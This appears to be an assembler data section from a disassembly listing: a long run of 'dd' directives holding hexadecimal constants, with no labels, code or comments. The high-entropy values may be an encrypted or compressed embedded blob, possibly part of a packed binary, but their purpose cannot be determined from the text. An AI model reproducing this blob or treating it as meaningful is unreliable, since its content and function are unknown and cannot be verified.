		dd 3DCB465Ch, 1B28007h,	9BCA727Bh, 351F00C8h, 0E6FEC1A5h
		dd 0C8A870F6h, 5D642533h, 0E8C162A1h, 3F44E9h, 0C8557540h
		dd 0EB4FA37Dh, 0D57208C2h, 69B11810h, 0C39EAC00h, 0F707462Fh
		dd 4A7B008Eh, 35EF3680h, 0A25C162Eh, 21439F1Ch,	9AB04C53h
		dd 0F860E4DEh, 0EE7D00BBh, 4D17F7E5h, 0AF03D3EAh, 5D518473h
		dd 7B33E05Bh, 0E80098EDh, 3B414EEEh, 0D23C0h, 0E112EB66h
		dd 0CE134046h, 0D404FD7Dh, 0E4F02AA0h, 8B988B3Ch, 62370E79h
		dd 69C741AEh, 0D0B02565h, 800495C8h, 0A5484098h, 4F91A9CBh
		dd 9EB04B60h, 197C140Ah, 169C0A2h, 0C1076ACEh, 42FB36F7h
		dd 63109FC4h, 0D1A0B1B6h, 1C371814h, 18AB2FF2h,	38FA1948h
		dd 544CD313h, 682B5E02h, 0ACC69Dh, 5AFDF97Ch, 26A4FB98h
		dd 7D56E801h, 7B751DFAh, 1BE64C4h, 6B524522h, 24304E10h
		dd 0A34FF608h, 1323C42Fh, 0B7BBF3Fh, 79BB3554h,	5F103C8h
		dd 0C981B404h, 3BD2D12Bh, 7D3370C8h, 0A94B1E41h, 9A281753h
		dd 0B255C3B4h, 0BE94D0F1h, 236C8020h, 0CD0B08B8h, 0D25C5BDDh
		dd 2262064h, 60A3A238h,	0DF725580h, 87B809B2h, 58D2199Ch
		dd 8CF961D3h, 1588998Fh, 0BD37EA03h, 0F7068987h, 0C2557440h
		dd 1FD5ADDh, 0CDF85F84h, 30802D15h, 58FF4947h, 14C91ACAh
		dd 0CC62381Eh, 0E602148Eh, 0D12B8AF5h, 9B803D50h, 3CB664D3h
		dd 0D80F8910h, 0A1391C9Fh, 0EABD5865h, 0C6622C40h, 5D89AFDh
		dd 0AAE297A8h, 8094AC2Bh, 9081539Fh, 0D28D027Ch, 1739ACBh
		dd 41FDCCC1h, 0E3D4DC78h, 18101FE3h, 0C10B1C63h, 0C46095ADh
		dd 88BEB668h, 280800DCh, 10FA7292h, 0D500B1AEh,	0E6F2B7C1h
		dd 5FFD3B3h, 8CA7CCFDh,	0EC3484A0h, 52286280h, 8E505604h
		dd 0C2099842h, 0E4A12025h, 8D0060C4h, 1DCFD039h, 0E4B25Bh
		dd 0C2B52F7Dh, 271A9D40h, 356BD213h, 7CC4041Dh,	2F575B86h
		dd 2CCE23B0h, 3C642D7Eh, 83D5B901h, 8C2B9AA2h, 25CBAC20h
		dd 64C7F03Ah, 28607E44h, 0CA0E0D36h, 41B29C13h,	0E425EFA6h
		dd 17BC074h, 9D0A92B1h,	0B26D91F6h, 71CD868h, 0C40AB813h
		dd 3C40D09Dh, 575DBBh, 0A3F8A8CBh, 0D425A1D9h, 0BDE46C41h
		dd 246150ADh, 989498E3h, 183D9FFFh, 0A1EFF501h,	2C8AC73h
		dd 852F28C4h, 823208Ch,	625CBB00h, 0D92DB4Ch, 52123853h
		dd 81709E2Eh, 0EBEE48B8h, 6990BD69h, 72E048D8h,	4EBC09D2h
		dd 0F002E158h, 480006D5h, 88641694h, 2C80F202h,	0B0CE48B4h
		dd 4742C820h, 200CD22h,	0C50493A1h, 0E8E63FDh, 1EEF7190h
		dd 5829A760h, 0BE186107h, 0D8B8063Bh, 90FF04A6h, 945BDA14h
		dd 0E040E6ACh, 89E987h,	1898E122h, 0CB5576A5h, 6F40A89Ch
		dd 2BA4E7h, 77574365h, 0ACF9157Bh, 8DA1171Dh, 18542D01h
		dd 0D06C09F6h, 0D455007Ch, 0CDB098A7h, 7E4E64F1h, 46C84C8Bh
		dd 0F30DFC7h, 0B676F096h, 832C12E4h, 293C0DE0h,	53CDC1Ah
		dd 0E08D5032h, 2088BCCEh, 5BB2B3C0h, 4C980011h,	0B8763D2Ch
		dd 0EB2F0738h, 0D82818F5h, 0B3838312h, 2C394109h, 0E6D8C880h
		dd 808C94C1h, 88785FB8h, 340439D4h, 0D2B1AA6Eh,	0C3E620D1h
		dd 91A82C41h, 780064C9h, 41F60359h, 99ADD839h, 42714718h
		dd 3B06B910h, 34FE5602h, 626C02D2h, 9F5CD88Ah, 0C70038B7h
		dd 7B4AC489h, 0BB9C0246h, 3B1DF15Ah, 0D4597860h, 64C71C00h
		dd 0F7A2BFCEh, 0B6F30043h, 6352F817h, 41C1BABh,	6AC4DD8Fh
		dd 6681EDA9h, 90B9462Dh, 4E2C64B8h, 0EC700064h,	0EA68B92Bh
		dd 0CA614B1h, 9F052726h, 1FBA6DBEh, 0E3AB01C0h,	7831956Bh
		dd 0AC480B5Ch, 0CE882060h, 0BC2D8285h, 10A8182Ch, 71445F6Ah
		dd 4E19F084h, 4800CC3Ch, 0A09EBC22h, 0C52AB16Ah, 0BC528459h
		dd 0DB68048Ch, 60E8E1C0h, 0D732D6E9h, 46B72C14h, 0BEA01684h
		dd 91E4B439h, 4144824h,	7B82AB9Eh, 590396B4h, 5E81138h
		dd 0FC519E62h, 408C34B4h, 6F01AF1Fh, 0F83912A3h, 0FAEA5DDDh
		dd 9559905Ch, 0E9AA8081h, 304AF7C0h, 0D88494A2h, 0DDC10201h
		dd 0AE0F081h, 7646B480h, 4259144h, 1C559EA0h, 0BB1CCD0h
		dd 7891973Ch, 60B45531h, 43BD9920h, 0CB01DCA6h,	80088B81h
		dd 18600726h, 0A2D9C105h
		dd 7F21A8FFh, 33028C6Bh, 795A5937h, 0D0BC02DDh,	0CE20004Eh
		dd 0F05F12BDh, 0B84980D8h, 98395466h, 7EC604A7h, 0B9FFDB42h
		dd 7D831C30h, 76B07CC0h, 9E9AF0h, 67785E8Bh, 4D37D87Fh
		dd 0ECCB774Bh, 0C3C7D5C8h, 2244BE11h, 5AD06C70h, 5E44E33Bh
		dd 12C888CBh, 0E81C26C3h, 2D7F9896h, 14794135h,	0ACD1C10Ah
		dd 8995D004h, 0B84110CCh, 0A03E5D69h, 0C463EE7Dh, 88DA1C81h
		dd 45059158h, 6D9A05A5h, 4E362380h, 55B800C4h, 8793BFC0h
		dd 60D6B920h, 8F8068FCh, 0B1ED3798h, 47ABEB01h,	1AA4E91Ch
		dd 0F25CB204h, 4498300Ch, 7927AAE8h, 52D0605Ch,	78954C6Ch
		dd 0B4A6F880h, 67121885h, 18E937E6h, 0F0D84917h, 0C61262D0h
		dd 3400C535h, 768C45E0h, 2F049930h, 0ECEDB4C8h,	0CF2D4F7Bh
		dd 945C6699h, 2046568Ch, 15465905h, 82EB0BE6h, 0EDCBBC0Eh
		dd 0C5004C78h, 81CCF5FCh, 0AE15B83h, 4FA79A9h, 11467C90h
		dd 0E9011358h, 0C08D7660h, 0A95C60C8h, 6021894Eh, 0E600698Eh
		dd 0D09437B3h, 0D5B99E61h, 0E4544839h, 60C08A8Eh, 0F8816182h
		dd 0AD22082Dh, 34947898h, 5E46B281h, 0C4301A13h, 485C4054h
		dd 74618C78h, 0FA0A6E40h, 52BB388Bh, 6B406CDCh,	7D1241h
		dd 0E9B77659h, 0FEC9343Ah, 5D35D819h, 5DD2C2B0h, 0F10CF807h
		dd 0E282A83Bh, 47449447h, 48B7FC60h, 84A8359Dh,	0E4DA1587h
		dd 8002D64h, 889BE961h,	276A4F9h, 0F584C3FAh, 0B09B5EAAh
		dd 81774D83h, 0C2B8E302h, 80438407h, 0AC052ECFh, 0BAC912A5h
		dd 76C92F8h, 13B85730h,	0CB5145B7h, 4F4003B8h, 0EABDB8h
		dd 8175FF41h, 0D8B4462Ch, 200454Dh, 0A1D743D5h,	0F5DC92E1h
		dd 8C845412h, 2AE8C889h, 867C1F09h, 7A9C4011h, 689A2F94h
		dd 53DD7881h, 115C395Eh, 0B5307DDAh, 0C07E0259h, 4A347859h
		dd 169CD802h, 0FDCF001Bh, 5F800E7Dh, 443490EDh,	78B859F9h
		dd 58F0D218h, 825D2F68h, 0A713E8C0h, 345A2524h,	9FBCAA84h
		dd 8A6A2CB4h, 91741755h, 0F4FF80CAh, 0BE436CFh,	65CEA0ECh
		dd 58CA8C22h, 4A4218D6h, 0ADC2012Eh, 0C02D2E1h,	0D624DE80h
		dd 0AE2A8E00h, 0A90DDDBCh, 17F9096h, 43A7109Ah,	28A3BDB1h
		dd 1ED3846Ch, 1FDC102h,	6F003C7Eh, 4FD7CCEBh, 0DC7C1232h
		dd 6886148Ah, 2030D6E9h, 5F160465h, 0C5C2423Ch,	6CCFB16Bh
		dd 0EA7B00E4h, 7C7768CFh, 5E8A02F4h, 0D99DDC2h,	0A1A24507h
		dd 0A4E048E4h, 0D1C7047Dh, 0BBA848ADh, 44BD8C22h, 937C5B38h
		dd 9BB34B10h, 157D1978h, 516424BFh, 8DC18621h, 39AD2E21h
		dd 25F8C8E1h, 6211C12Ah, 6F708DF6h, 4F383091h, 87CCB804h
		dd 6A50AC0Ch, 0DC6D69h,	0E312D03Dh, 0B6BCA4EDh,	0B400F574h
		dd 29CAD8FFh, 0BF44344Eh, 0A1642068h, 0A2105A17h, 7790C81Fh
		dd 5F207E84h, 0E42BB140h, 5BA7D525h, 0B6748597h, 82E0E2D8h
		dd 0FEC45380h, 0D88E69C0h, 0E4741DA9h, 0B12280C0h, 0C0431D44h
		dd 0D0258770h, 0C4597C40h, 42784Fh, 797A2BCAh, 1ED00FF0h
		dd 74971961h, 4A542218h, 0B8014CE2h, 0C8DF5B08h, 0BCFC6C56h
		dd 0D5028CC9h, 12B444CCh, 9568EEF4h, 2840E0CDh,	0C0FAC9A1h
		dd 5CC1CA61h, 5D17837Bh, 7064E541h, 0F971940Bh,	857C0BC4h
		dd 9C52F8C4h, 0FDC20BE0h, 0F18A0BDh, 2CB872A0h,	5EB8800Ah
		dd 4F000E46h, 7DB99377h, 98015ADAh, 0DDF85853h,	233B2B70h
		dd 892E431Ch, 6C1D46A5h, 2308818Bh, 0D107CA8Ch,	587C6091h
		dd 0C9684F2Eh, 13E200E5h, 11DD18F6h, 2600BE7Ah,	42AD9870h
		dd 971EAC45h, 0A0828089h, 0D0415CB5h, 291F02F2h, 7A7958F9h
		dd 0DB1F9F18h, 509ED5CEh, 668A6446h, 0EFEA0168h, 7181C53h
		dd 0F89C2F80h, 0E6A4A82Fh, 0EC1897CEh, 64484BEAh, 0EB18401Ch
		dd 0F5403705h, 9CD5F9CDh, 5F3820EEh, 312FC6A0h,	2574076Bh
		dd 770A91Bh, 30EDD1E4h,	74533C73h, 0B9605603h, 0A6C490CDh
		dd 50CA4F4Ch, 0F2C00BC8h, 0F11AEFABh, 9F3442D2h, 82111178h
		dd 0E0BC3210h, 12178FDCh, 0B0E6B445h, 2B11CB1Ch, 7800E341h
		dd 0CC55B5A9h, 5D701A14h, 5B01873Eh, 0C7C0DC9Bh, 38910F22h
		dd 0D14CCC25h, 18787128h, 6BB604B9h, 0C0A6B261h, 5BBBB155h
		dd 8200097Eh, 56AB9D8Bh, 2DBE9F20h, 0E0E4F2D9h,	3ACF2744h
		dd 78253595h, 0A380C473h, 71C3C8BAh, 4C622F59h,	4B0BBC50h
		dd 0D36FE186h, 6279706Ch, 0D8968013h, 0E5F61080h, 441D4E3Dh
		dd 0F79D0C8h, 33AFA664h, 0CC491819h, 0A2BA3115h, 0B8E02A5Eh
		dd 7AB9C1F5h, 166C6ACh,	0D079A77Ch, 968CFA04h, 2B30262h
		dd 0C49D55FFh, 0EC801491h, 7BE27F86h, 810CAA4Ch, 35D8EE0Ch
		dd 0B02D1821h, 15FDD004h, 0C818A83Eh, 7450A6A5h, 9900D546h
		dd 6F133847h, 92B54830h, 0E0738E30h, 74A15FA0h,	212F383Eh
		dd 799CA15Fh, 2C0BBC9Ch, 0A88223Bh, 4EA4CA54h, 0CCE13281h
		dd 95C1CCF8h, 0D801D14Bh, 2DE5FB15h, 9BC8013Bh,	68CDD030h
		dd 7859800Ch, 9FD5D351h, 133D7402h, 0EB67F800h,	1757C38h
		dd 2552BEFBh, 0E01851DDh, 5D78C6D0h, 796D9927h,	180FD1F0h
		dd 5E200E1h, 0DCB3597h,	444FEE2Ah, 9625C00Fh, 4227A89Ch
		dd 0F83A08B5h, 56D470B2h, 4A06C9Dh, 0CE62FC4Fh,	1084D1C9h
		dd 7F9873BAh, 0E3700597h, 0DDF7C842h, 80AF01h, 491C7569h
		dd 0A85B9534h, 20A938B1h, 912E6861h, 3E69F2DCh,	4FAE0C1h
		dd 2D25F700h, 3EDBC8B4h, 38539940h, 0B05C544Fh,	7C407610h
		dd 519A8227h, 0AE010094h, 91E5D006h, 4860829Dh,	557C899Ch
		dd 0F6A38C00h, 0F04A1965h, 0A80C14A2h, 62A1D6E9h, 0CE39EE16h
		dd 0E1BD1C71h, 52F2C8D0h, 998220DEh, 0E6224194h, 85ACAFDDh
		dd 0CCD0D0E1h, 51E0AB2Ah, 700CA8C6h, 90A27Ch, 526F570h
		dd 0C68B13F4h, 0D334D27Ah, 81C0A8A5h, 4C5E554h,	0FEB8C8BDh
		dd 8F0E4Ch, 0E65C097Bh,	0C5F839ABh, 0B97FFFE9h,	0C3ACA4h
		dd 21137E1Ch, 0C03E80BAh, 25D0D24Ch, 22B85A81h,	0A1304677h
		dd 0CA99112h, 442B004Fh, 6CA07985h, 0DE00106Fh,	78A76186h
		dd 3DC14356h, 4C855439h, 13FA9DD0h, 35CB00A4h, 0F63F9B04h
		dd 6B1A250Ch, 0C221DDh,	678D1017h, 5289B14h, 43ACEF8h
		dd 0BC40626h, 128941B7h, 2C1FAFh, 0F8F4A04Ch, 530136F3h
		dd 7BA831Ah, 6820505Eh,	0C1CF00D0h, 0B9CC5754h,	4C98DF85h
		dd 8694C80Bh, 40BC4F03h, 90DD48B2h, 2C50461Dh, 4A74A0A5h
		dd 4D5DFE78h, 7600541Fh, 0B8480F88h, 0E57CF2A2h, 749C65B7h
		dd 0F2714C02h, 60BDD243h, 0C69B2744h, 854D110h,	314C3720h
		dd 70208BA8h, 0E38E0146h, 4E58108Ch, 85401808h,	205562A7h
		dd 0DC029A0Ah, 0CA5903B6h, 35701810h, 18167310h, 0F8082556h
		dd 6D20C644h, 0E3200845h, 7EE43184h, 88F0E920h,	0CB95308h
		dd 11204EADh, 0A3088563h, 0D9181891h, 0A1AB0893h, 0FF1818D2h
		dd 807EA910h, 8C4B1BCh,	8506B022h, 0AC3120E2h, 651D086Dh
		dd 8CA39602h, 810C16Eh,	9F188C5Eh, 92892030h, 835B0480h
		dd 181829C3h, 19087AB8h, 0E18C452h, 2DB70414h, 8EF9306h
		dd 20BDF131h, 888EB7Ah,	0C308ECAEh, 0B4FD0C86h,	89634528h
		dd 108DC208h, 10770718h, 8B16BF55h, 0A5204C0Ch,	0D680E9D1h
		dd 0CA10C4A4h, 0B9970482h, 6729804h, 4059229Dh,	0BA4115E1h
		dd 0B910E6B1h, 9E088888h, 28D90DFDh, 0CFC81179h, 0A7188896h
		dd 0DF220C86h, 84A96310h, 4CD988CEh, 111C0CB6h,	0A062E018h
		dd 22A1008h, 0A203B2EDh, 6C2810FAh, 0E5B8182Eh,	801F3110h
		dd 8C9210Ah, 30102237h
		dd 0C01302A6h, 7900402h, 0F608E8E9h, 518919ABh,	0AEA451BEh
		dd 67B301CBh, 36028C12h, 97A304E3h, 6E87484h, 4910878Dh
		dd 9610641Ch, 0A27119A3h, 888F049h, 0C0CEE68h, 0F3FC2820h
		dd 0F5400888h, 0C4C5608h, 2828AAD7h, 0A9B7D1CCh, 7E554059h
		dd 0DC693064h, 0C4FA104h, 40DEA9EBh, 8B4087B9h,	20BC92C2h
		dd 0FE2090EFh, 89B26235h, 0DA0246D8h, 0BBCB0215h, 1903E103h
		dd 38F49008h, 10618CA0h, 0C66710AFh, 81BCF21h, 62428520h
		dd 0FC691F9h, 295CA02h,	20425CCh, 0D1C00D1h, 182FF01h
		dd 8883D9Bh, 0B508756Ch, 193418A0h, 38CAB791h, 0C88C98C4h
		dd 0C5AF1060h, 59EBD8E1h, 51A7C998h, 99473D94h,	4F30CF81h
		dd 0C634B98Ch, 8440F910h, 671C5E9h, 5FC04D72h, 0EB3C5321h
		dd 57954919h, 4E01B409h, 9C94019Ah, 49D401h, 5CF196BBh
		dd 0BC8020A2h, 9C56C67Dh, 0C31EC494h, 977FDE06h, 44400E10h
		dd 0C8206966h, 704A0CBh, 4BEEA2Ch, 275C283h, 6A2BB83Bh
		dd 26E017C3h, 8160F834h, 0F5CB77DBh, 0A04CF46Dh, 88CF3200h
		dd 0EEAE0B3Ch, 0D130A6E2h, 53DA5045h, 7898C01Eh, 793E0374h
		dd 54CA370Ch, 5C804026h, 0B9772CD9h, 67A00210h,	880B17Fh
		dd 7BBC59F8h, 0A31876E0h, 7A18704Ch, 1C1627E1h,	4FBA0C80h
		dd 0A8171719h, 0CC423A1Eh, 0E05BF9FDh, 97C3E9B8h, 0B10EC448h
		dd 6100ACB1h, 3F9E51CCh, 0A0531D7Fh, 0AE0F001Fh, 3B880BE7h
		dd 403E6600h, 0CB0DD142h, 0B91309F4h, 0C478A625h, 269623Ch
		dd 81499D10h, 9A5880C0h, 77C06A1h, 45B71709h, 39DE4001h
		dd 5E72BD79h, 0CA70FC17h, 9306E18h, 0F55799Dh, 7442BAF8h
		dd 1516FD63h, 7AC1A01Bh, 0F2E0D1C8h, 0A0A005E0h, 0F862C294h
		dd 0B0774B9Fh, 0CE86F0Ch, 881FD10h, 0FE7BB100h,	0B0CA351Dh
		dd 1B69E80Fh, 0CBE92082h, 2B9E46h, 0CFF0FDB6h, 0B79F1E5Ah
		dd 0DE620602h, 0B710EA2h, 0F0B4F411h, 128CA1Fh,	7003B453h
		dd 201B6EB3h, 130B8052h, 2854A0F2h, 0C03372A2h,	4F6B0740h
		dd 0D303F139h, 0E0C2B0F6h, 0C814F11Dh, 341C20h,	0C14BA88Ah
		dd 0D2741ADAh, 807E2512h, 0F3B31400h, 17124Dh, 0F854CB6Ah
		dd 6DF5515Ah, 0D87B2E1Ch, 0E872CF0Ch, 4A876DEh,	1D4A83ABh
		dd 290C9056h, 0EB31CA17h, 62591028h, 6A79440h, 0C1309232h
		dd 83FD0910h, 6BC08FB8h, 0A24EA176h, 1C00B3B6h,	0CCF03A6Eh
		dd 82B0C963h, 36CDD824h, 62A5F02Fh, 0C2EA20A7h,	0DA192C44h
		dd 66C05901h, 39486080h, 0DDEC2C17h, 0AA2A231Bh, 0E0C69B28h
		dd 0C1F447A2h, 1ADEC278h, 0FD0EDC08h, 904CA630h, 0F687DBD3h
		dd 720900B5h, 0BF10D2C6h, 0CA1B3A49h, 0E3D8A5CBh, 0C19CB8C2h
		dd 43DE4EBh, 0C985EE53h, 7A449364h, 0BF548012h,	62FEA430h
		dd 0D05612FBh, 942C040Ah, 5E76008Eh, 0C17DB225h, 358B5C0h
		dd 4C4DEDA7h, 7C74EF98h, 285CC700h, 6C2538E6h, 4020DD36h
		dd 3B0DDA3Ah, 7A067332h, 0BF18A2DDh, 7D531FF0h,	63A347CBh
		dd 8ED58740h, 0D0113CCCh, 401B1224h, 10297C89h,	5037A2E0h
		dd 5590F1h, 0A0F2BEB1h,	32B678A1h, 4E8EAF00h, 85FC7D6Eh
		dd 5F770063h, 46B98236h, 0B600CB5Dh, 10BDA1F8h,	0C0AF4FFDh
		dd 0FEC8F7E0h, 0CCA4679Eh, 0B8C5CA14h, 0FD0A068Ch, 52821CFh
		dd 2725D469h, 7D840205h, 704A56B6h, 30B19800h, 4D093E4Ah
		dd 0A1FECAF8h, 442FA718h, 0C36706DCh, 72F2DA10h, 98624026h
		dd 0EFE65904h, 0A29248C0h, 0B026497Eh, 1AC83703h, 7193C3A0h
		dd 0D02882FCh, 0A727C846h, 3CB4E3FAh, 3A127A69h, 0F23820F3h
		dd 9F09D3DAh, 0AEC419BBh, 6806914h, 3011C38Ch, 75C05931h
		dd 0CE04660Bh, 4270A44h, 0EB9783C0h, 9897E6Dh, 66A8268Eh
		dd 367C6839h, 9D8040A8h, 0B9815613h, 20AE7430h,	17020170h
		dd 683A6372h, 0A252F407h, 48DFD598h, 8557900Eh,	24AC0218h
		dd 2D8BA182h, 382184A0h, 0CC005E03h, 45BDAD40h,	6ED4EAh
		dd 6F4BB17h, 92B32042h,	371FB50Eh, 1A56400Ah, 50B725E0h
		dd 27B47Ch, 0F63479A2h,	6F90A36Ah, 0C0908092h, 7D597EF0h
		dd 8E871144h, 0C3338402h, 0A864084Ah, 6040BC82h, 48C06BF8h
		dd 0F0015CDDh, 0AF2518BFh, 29AA3873h, 7ED16305h, 5AC1A8E0h
		dd 0DC205516h, 0C14A4082h, 26486890h, 7F478010h, 0A55CEDh
		dd 0EAC782F0h, 49B5E334h, 1D0648h, 3E5AA89Dh, 0C245A51Ah
		dd 3850CA50h, 2A53C083h, 3CDA4004h, 48802ADh, 33E100F8h
		dd 0B0B8CC2Fh, 0DA007204h, 4BE29868h, 0C040D123h, 3A36AAC0h
		dd 7000D2ACh, 38720B74h, 98C7EA56h, 6BE005C8h, 5F16CA25h
		dd 31E84288h, 0C8803847h, 5F9F4894h, 0D300B890h, 61E7E103h
		dd 6026FFDAh, 7E6DE8CAh, 391CD899h, 20CC00Ah, 2E5719EFh
		dd 0BC1813h, 783F1C97h,	0E0001E1Dh, 692861B9h, 1C08CA93h
		dd 0AB27183h, 609C223Ah, 0A8652353h, 88DE8824h,	0BE9FCC80h
		dd 48D37419h, 54074D7Dh, 0B9A24A8Fh, 4C0A0A8h, 88C5EA51h
		dd 0DC12805Ch, 68028477h, 2C00DA2h, 5C44BE82h, 8D5F257Ch
		dd 2C2E5800h, 160ABE5h,	632BB40Ch, 60424922h, 0A698043Ch
		dd 0A20DB606h, 4867D9h,	0DB0BDC2Eh, 57186E03h, 4E8CAD02h
		dd 40ACD808h, 5EDA7A41h, 40F0004Ch, 0C87DC95Ch,	0CDA798C4h
		dd 307040B8h, 0D2F8C7DEh, 7900DB81h, 750BC621h,	0E9651BB0h
		dd 645ECAE4h, 87443823h, 15A083C4h, 43DC04Ch, 676FD032h
		dd 0D9721081h, 0E9006872h, 0EFC595CCh, 3E2EDA04h, 8500549Ch
		dd 207665Ah, 0F57238C7h, 80D42719h, 67EC20C3h, 8CB05498h
		dd 0CD5CDF07h, 0C30EA4Ah, 7B2F126h, 6E77C4BDh, 0C96B407Bh
		dd 72E94F08h, 0F6A308DCh, 317A0426h, 2AA88817h,	88204098h
		dd 0D0EA00B3h, 0A45A9E6Ch, 0A2007618h, 63E0FEBAh, 95E125C3h
		dd 69B39482h, 0F6CD6480h, 57083A2Ch, 1E7C425h, 0DA06A2B8h
		dd 7BF18983h, 7EAC81D0h, 24256705h, 0BB2D78BCh,	1017080Fh
		dd 0D42FF894h, 72B73407h, 0D4C66DDFh, 0DE14DA19h, 6FD7860h
		dd 30F4D73Ah, 17701196h, 0DEA2490Ch, 98511883h,	0B1EF0E4Ch
		dd 4440E73Bh, 224AD0Dh,	6A488F00h, 0CFD15ECh, 7390C4A7h
		dd 4FFCD07Eh, 6B0AF638h, 0E82CFFBAh, 2635408h, 0C1E9D87Ah
		dd 725A6044h, 0C3327CE2h, 506852D0h, 0B10315BBh, 0DD05487Dh
		dd 1FE3E0A5h, 0A48B20DAh, 0B75D4018h, 9B16A861h, 0C1728AE8h
		dd 0E8CC3A2Ch, 37264A83h, 33348951h, 0B5DA1430h, 4AFF169Fh
		dd 23DF01Dh, 9BA77830h,	80D45105h, 0DE96711Ch, 0BC0BA89Fh
		dd 5CA5FD17h, 16CB1D0Ch, 5C183087h, 14907C20h, 41C1B776h
		dd 7D9EFD0Fh, 0CE83318Bh, 0D07A9084h, 19C0A064h, 34F429F3h
		dd 6C2520A8h, 0BB79040h, 5481589Dh, 0B8B038BBh,	2011662Ch
		dd 6F380845h, 85BD8B53h, 64CD8EC1h, 50801CDCh, 4CF4086h
		dd 0AC1ADA2Ah, 0D0489902h, 50B84332h, 9E092493h, 9E200D4Fh
		dd 1958D024h, 20517AC9h, 108C6062h, 5FF2DF81h, 0B87260A2h
		dd 0F751D844h, 534992FCh, 16A31C8Ch, 206AF897h,	75F2D964h
		dd 50A61280h, 1250E56Ch, 89FA8123h, 2BDBE12Ch, 4570A407h
		dd 91CAE9D2h, 442C7A94h, 0F22EDA00h, 0B7282547h, 0A7A1B9C4h
		dd 8EF898C2h, 0B8BC60ACh, 7326FB0Ch, 0FC53257Fh, 516CA88Fh
		dd 0CA180D60h, 15906EF1h, 0B9740175h, 72279FA7h, 0A0E3C037h
		dd 0C0D128C0h, 312C27Dh, 0A254474Ah, 90282BE0h,	38E4A4A0h
		dd 0D37E7F00h, 7455F671h, 802512D5h, 75C800D0h,	0DDF4CB5Ch
		dd 2801EB71h, 66C9BBFBh
		dd 682269E7h, 7C780196h, 0D012B8C0h, 1404DFEAh,	1E94A25Eh
		dd 46822482h, 0B2280044h, 3735154Ch, 7207BF54h,	85B327Ah
		dd 4F02BB50h, 3CF30023h, 37B80C44h, 0CF00E9CAh,	89CEAF58h
		dd 78A1CD45h, 2CB28Eh, 4F69642Ch, 0BC5B9D3Bh, 6CD5BD00h
		dd 22500406h, 0CD3700BEh, 0EEFD26F7h, 251870BAh, 78883091h
		dd 7DAC07A6h, 0C256478Ch, 0C8C93182h, 205FD15Ch, 26F8543Ch
		dd 118836Fh, 3A81C9B7h,	0BB0CC883h, 0F7E05342h,	17052DB2h
		dd 80CA69FBh, 0C46414BEh, 246F4210h, 7C25E5CFh,	0D57A0B00h
		dd 0ACD07209h, 0BDEACA12h, 0E6C34C40h, 0B921E8A1h, 7F3F0060h
		dd 6E41C8B4h, 68B0A8EAh, 51086520h, 9822A453h, 50860A01h
		dd 842242A2h, 126BBA10h, 0D44474C3h, 0FC602CF5h, 96C90DDh
		dd 54DB902h, 38BDEC11h,	12D048E0h, 9F50Eh, 0F33C204Dh
		dd 4DFE83BAh, 7526F839h, 915467D4h, 0A91C0EFDh,	516078E8h
		dd 0FD6FF8h, 0AA27A275h, 0A978F9C8h, 0E756860Ah, 1E08B06Eh
		dd 0AB9A0590h, 65D8031Bh, 0FC984EA6h, 0F13EF7DCh, 0B7FD89EAh
		dd 6014CB6Ch, 0E006684Ah, 160CE22Eh, 0E83F4FDAh, 705100B2h
		dd 0D0E9E5A5h, 0E70FF892h, 0AD3F218h, 481308C8h, 45544802h
		dd 8B5079FEh, 608BDE80h, 9DFE001h, 124060D1h, 94A57B40h
		dd 0C367443Ch, 0C2E9DAA0h, 2A88641Eh, 894DAD80h, 69F3010Ah
		dd 0AC06108Ah, 4FEA10A4h, 0BB545CA4h, 7E8A3EA0h, 0A820A59Ch
		dd 0C5180588h, 80A7D2C8h, 0D9C9D42Ch, 0C06B0E26h, 4E58A046h
		dd 129C1677h, 4E94336Ch, 7344D9E8h, 0BFB95507h,	15102567h
		dd 0ECB85405h, 0C0A063C7h, 0D0143F62h, 26C804B5h, 694094B0h
		dd 0F1A1E67h, 885AB9D2h, 0C08030DBh, 7090FD6Ch,	0DE81264h
		dd 98319CF5h, 0C249DF5h, 81B7E222h, 0A2C089AAh,	0BD204008h
		dd 0A71F3025h, 57A1A870h, 0C0A0C04Fh, 135490C3h, 0C839F5A3h
		dd 7D03DD2Ch, 0C554E6Dh, 806DEFFDh, 9CA2EC04h, 9B72862h
		dd 5445A064h, 4839B465h, 81FC054Eh, 0AD588CBCh,	0CA85849Ch
		dd 74A2DE78h, 0BAEC2478h, 0B5EA87D4h, 6A21C02Dh, 3813533Ah
		dd 0DCC0DFA2h, 0F0510E56h, 349C9Eh, 0B76070A3h,	1624341h
		dd 6D158h, 0B39B7D56h, 0FD41C094h, 0D1B85D30h, 481742CCh
		dd 0AC480020h, 0C21F8697h, 51DCE750h, 18990490h, 2049B801h
		dd 80E289DAh, 7F6F08CCh, 21024E70h, 0AE565CE8h,	0DF09CC90h
		dd 0C21401A9h, 0E4327D28h, 7234C81h, 0BD17D062h, 0B2250907h
		dd 0F1C06663h, 0FC9FDD81h, 7532003Ch, 0ABAF1D5Ah, 0BD0F824Fh
		dd 20147A6Dh, 0CB98E9Dh, 0A2BB02B4h, 361A6CA5h,	3AE3640h
		dd 0F7AD0203h, 0F92CDFB9h, 99A6B7D2h, 1D013A0h,	44677E94h
		dd 782422F2h, 10421825h, 4D3BFD30h, 0CB0338DCh,	49E6DFF1h
		dd 39CFF3D9h, 59893F24h, 2B3910h, 0A0EDD658h, 2FDB75Eh
		dd 0DA031741h, 0A4EA68D2h, 3EEE00C0h, 7C62A271h, 50436F38h
		dd 0EAA4A1A8h, 0D241033h, 18D4C08Ch, 0BF30A253h, 0D33420BDh
		dd 3FEA0559h, 4AB1E57h,	0C248DAF3h, 8CC06C0Ah, 3906776Ah
		dd 79AF2543h, 0C94C0F81h, 30D2D1D6h, 0DA025D74h, 0B17909FAh
		dd 304CDCF6h, 0BD200B14h, 0A3F5072Ch, 7FC44480h, 80C95AA2h
		dd 0B1B455A0h, 0C7E92200h, 7204ADB8h, 6F8600F3h, 0C8EA1718h
		dd 4B0E53A1h, 0C9C38D9Dh, 0BAB8C003h, 0F880977Dh, 0C391444h
		dd 22CF43Ch, 0D34A02BCh, 8B147405h, 5CAE27DAh, 0B0368204h
		dd 5D01C318h, 2559A037h, 20821269h, 4316A260h, 12B80073h
		dd 388284E1h, 0DF5C60ABh, 0C46CF858h, 0B48CDA80h, 6500B808h
		dd 0E794AD8h, 3EB6A6Fh,	75CE1A07h, 7099AB0Bh, 31D454B8h
		dd 7CC1E30h, 432D0130h,	0A4724CD0h, 9840A20Ch, 7A7B5290h
		dd 15C6C203h, 54A7AA9Eh, 9DA888h, 625CB98Fh, 0D9807F1Fh
		dd 25556906h, 26008DBh,	5AB752F8h, 0C4511AAAh, 447A706h
